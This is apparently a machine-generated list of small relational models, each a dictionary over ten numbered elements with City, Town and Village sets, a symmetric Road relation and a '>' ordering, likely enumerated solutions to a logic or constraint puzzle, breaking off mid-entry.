{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('1', '2'), ('1', '4'),
('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('5', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('5', '4'),
('1', '2'), ('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'),
('3', '10'), ('10', '2'), ('2', '10'), ('8', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('9', '4'), ('3', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '4'), ('3', '9'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '9'), ('1', '2'), ('1', '4'),
('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '9'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('8', '4'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '4'), ('3', '9'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'), ('3', '10'),
('10', '2'), ('2', '10'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('5', '4'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('10', '3'), ('4', '5'), ('2', '6'), ('6', '2'),
('3', '10'), ('10', '2'), ('2', '10'), ('9', '3'), ('8', '4'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '9'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('2', '6'), ('6', '2'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '4'), ('9', '3'), ('4', '7'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('4', '1'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('5', '3'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('4', '1'), ('9', '4'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('5', '3'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('3', '7'), ('4', '1'), ('9', '4'),
('4', '8'), ('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'),
('2', '10'), ('5', '3'), ('7', '3'), ('1', '3'), ('4', '9'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('3', '8'), ('1', '2'),
('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '4'), ('8', '3'), ('5', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('3', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('8', '3'), ('5', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('3', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('7', '4'), ('8', '3'), ('5', '3'), ('4', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('3', '9'), ('1', '2'),
('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '4'), ('9', '3'), ('5', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('9', '3'), ('5', '3'), ('8', '4'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('7', '4'), ('9', '3'), ('5', '3'), ('4', '7'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('3', '8'), ('5', '4'),
('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('3', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('8', '3'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('9', '4'), ('3', '8'),
('5', '4'), ('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'),
('10', '2'), ('2', '10'), ('8', '3'), ('7', '3'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '4'), ('3', '9'),
('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('9', '3'), ('7', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('3', '9'), ('4', '8'),
('1', '2'), ('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('9', '3'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '7'), ('5', '4'), ('3', '9'),
('4', '8'), ('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'),
('10', '2'), ('2', '10'), ('9', '3'), ('7', '3'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('5', '4'),
('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'), ('10', '2'),
('2', '10'), ('4', '10'), ('10', '4'), ('8', '3'), ('9', '3'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('1', '2'),
('1', '4'), ('2', '6'), ('6', '2'), ('10', '2'), ('9', '3'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '4'), ('8', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('4', '1'), ('3', '1'), ('3', '8'), ('3', '9'), ('5', '4'),
('1', '2'), ('1', '4'), ('4', '5'), ('2', '6'), ('6', '2'), ('10', '2'),
('2', '10'), ('7', '4'), ('8', '3'), ('9', '3'), ('4', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('1', '2'), ('1', '4'),
('10', '3'), ('4', '6'), ('6', '4'), ('3', '10'), ('10', '2'), ('2', '10'),
('4', '10'), ('10', '4'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('3', '10'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('8', '4')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('9', '4'), ('1', '2'),
('1', '4'), ('10', '3'), ('3', '10'), ('10', '2'), ('2', '10'), ('4', '10'),
('10', '4'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('4', '9')},
">": {('1', '5'), ('3', '8'), ('3', '9'), ('1', '4'), ('2', '5'), ('2', '6'),
('3', '10'), ('2', '7'), ('1', '7'), ('4', '8'), ('1', '6'), ('4', '10'),
('1', '3'), ('2', '9'), ('1', '8'), ('1', '2'), ('1', '9'), ('4', '5'),
('4', '6'), ('4', '7'), ('3', '5'), ('3', '7'), ('2', '8'), ('3', '6'),
('2', '10'), ('4', '9'), ('1', '10')}},
{"DOMAIN": {'5', '3', '6', '7', '4', '2', '9', '8', '1', '10'}, "City": {'1'},
"Town": {'3', '4', '2'}, "Village": {'5', '6', '7', '9', '8', '10'},
"Road": {('2', '1'), ('3', '5'), ('3', '1'), ('4', '1'), ('4', '8'), ('1', '2'),
('1', '4'), ('10', '3'), ('4', '6'), ('6', '4'), ('3', '10'), ('10', '2'),
('2', '10'), ('7', '2'), ('5', '3'), ('2', '7'), ('1', '3'), ('8', '4')},
